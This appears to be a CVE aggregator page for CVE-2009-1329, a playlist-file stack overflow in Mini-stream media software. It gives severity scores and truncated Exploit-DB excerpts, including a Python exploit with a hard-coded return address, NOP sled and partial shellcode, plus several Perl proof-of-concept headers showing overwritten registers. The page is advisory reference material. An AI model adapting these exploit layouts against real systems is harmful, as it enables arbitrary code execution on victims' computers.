CVE-2009-1329
published 2009-04-17CVE-2009-1329: Stack-based buffer overflow in Mini-stream Shadow Stream Recorder 3.0.1.7 allows remote attackers to execute arbitrary code via a long URI in a playlist (.m3u)…
PriorityP343critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
5.85%
92.3th percentile
Stack-based buffer overflow in Mini-stream Shadow Stream Recorder 3.0.1.7 allows remote attackers to execute arbitrary code via a long URI in a playlist (.m3u) file.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| mini-stream | shadow_stream_recorder | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Easy RM to MP3 Converter - Universal Stack Overflow
exploitdb·2009-04-14
CVE-2009-1330 Easy RM to MP3 Converter - Universal Stack Overflow
Easy RM to MP3 Converter - Universal Stack Overflow
---
#!/usr/bin/python
# Easy RM to MP3 Converter Universall Stack Overflow Exploit
# By Stack
# hihihi
# StaKer : Only Fabri Fibra :d
header = (
"\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D"
"\x0A\x4E\x75\x6D\x62\x65\x72\x4F\x66\x45"
"\x6E\x74\x72\x69\x65\x73\x3D\x31\x0A\x46"
"\x69\x6C\x65\x31\x3D")
junk = "\x41"*1244
eip = "\xDB\x70\xBB\x01" # Universall Adress
# Abouts addres
# Executable modules, item 5
# Base=01A20000
# Size=0049D000 (4837376.)
# Entry=01B835B1 MSRMCu_3.
# Name=MSRMCu_3
# Path=C:\Program Files\Easy RM to MP3 Converter\MSRMCutility04.dll
nops = "\x90" * 20
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42
Exploit-DB
WM Downloader - '.m3u' Local Stack Overflow (PoC)
exploitdb·2009-04-13
CVE-2009-1330 WM Downloader - '.m3u' Local Stack Overflow (PoC)
WM Downloader - '.m3u' Local Stack Overflow (PoC)
---
#!/usr/bin/perl
#
#
# *************************************************************
# * WM Downloader (.M3U File) Local Stack Overflow POC *
# *************************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail : [email protected]
# Home : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/WMDownloader.exe
#
#
# Olly registers
#EAX 00000001
#ECX 41414141
#EDX 00D00000
#EBX 00333D78 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESP 000F739C
#EBP 000FBFB4
#ESI 77C2FCE0 msvcrt.77C2FCE0
#EDI 00006619
#EIP 41414
Exploit-DB
RM Downloader - '.m3u' Local Stack Overflow (PoC)
exploitdb·2009-04-13
CVE-2009-1330 RM Downloader - '.m3u' Local Stack Overflow (PoC)
RM Downloader - '.m3u' Local Stack Overflow (PoC)
---
#!/usr/bin/perl
#
#
# *********************************************************
# * RM Downloader (.M3U File) Local Stack Overflow POC *
# *********************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail : [email protected]
# Home : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/RMDownloader.exe
#
#
# Olly registers
#EAX 00000001
#ECX 7C92056D ntdll.7C92056D
#EDX 00A20000
#EBX 00104A54
#ESP 000FFE3C
#EBP 00333E98 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESI 77C2FCE0 MSVCRT.77C2FCE0
#EDI 0000660D
#EI
Exploit-DB
Mini-stream Ripper - '.m3u' Local Stack Overflow (PoC)
exploitdb·2009-04-13
CVE-2009-1330 Mini-stream Ripper - '.m3u' Local Stack Overflow (PoC)
Mini-stream Ripper - '.m3u' Local Stack Overflow (PoC)
---
#!/usr/bin/perl
#
#
# *************************************************************
# * Mini-stream Ripper (.M3U File) Local Stack Overflow POC *
# *************************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail : [email protected]
# Home : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/Mini-streamRipper.exe
#
#
# Olly registers
#EAX 00000001
#ECX 41414141
#EDX 00D30000
#EBX 00333D60 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESP 000F70CC ASCII "AAAA"
#EBP 000FBFB4
#ESI 77C2FCE0 msvcrt.77C2F
Exploit-DB
Mini-stream RM-MP3 Converter 3.0.0.7 - '.m3u' Local Stack Overflow (PoC)
exploitdb·2009-04-13
CVE-2009-1330 Mini-stream RM-MP3 Converter 3.0.0.7 - '.m3u' Local Stack Overflow (PoC)
Mini-stream RM-MP3 Converter 3.0.0.7 - '.m3u' Local Stack Overflow (PoC)
---
#!/usr/bin/perl
#
#
# ************************************************************************
# * Mini-stream RM-MP3 Converter (.M3U File) Local Stack Overflow POC *
# ************************************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail : [email protected]
# Home : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/Mini-streamRM-MP3Converter.exe
#
#
# Olly registers
#EAX 00000001
#ECX 41414141
#EDX 00D20000
#EBX 00333ED8 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESP 000
Exploit-DB
ASX to MP3 Converter - '.m3u' Local Stack Overflow (PoC)
exploitdb·2009-04-13
CVE-2009-1330 ASX to MP3 Converter - '.m3u' Local Stack Overflow (PoC)
ASX to MP3 Converter - '.m3u' Local Stack Overflow (PoC)
---
#!/usr/bin/perl
#
#
# ************************************************************************
# * ASX to MP3 Converter (.M3U File) Local Stack Overflow POC *
# ************************************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail : [email protected]
# Home : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/ASXtoMP3Converter.exe
#
#
# Olly registers
#EAX 00000001
#ECX 41414141
#EDX 00D30000
#EBX 00333ED8 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESP 000F6C90
#EBP 000FBFB4
#ESI 77C2FCE0
No writeups or analysis indexed.
http://secunia.com/advisories/34719http://www.securityfocus.com/bid/34494https://www.exploit-db.com/exploits/8405/https://www.exploit-db.com/exploits/8426http://secunia.com/advisories/34719http://www.securityfocus.com/bid/34494https://www.exploit-db.com/exploits/8405/https://www.exploit-db.com/exploits/8426
2009-04-17
Published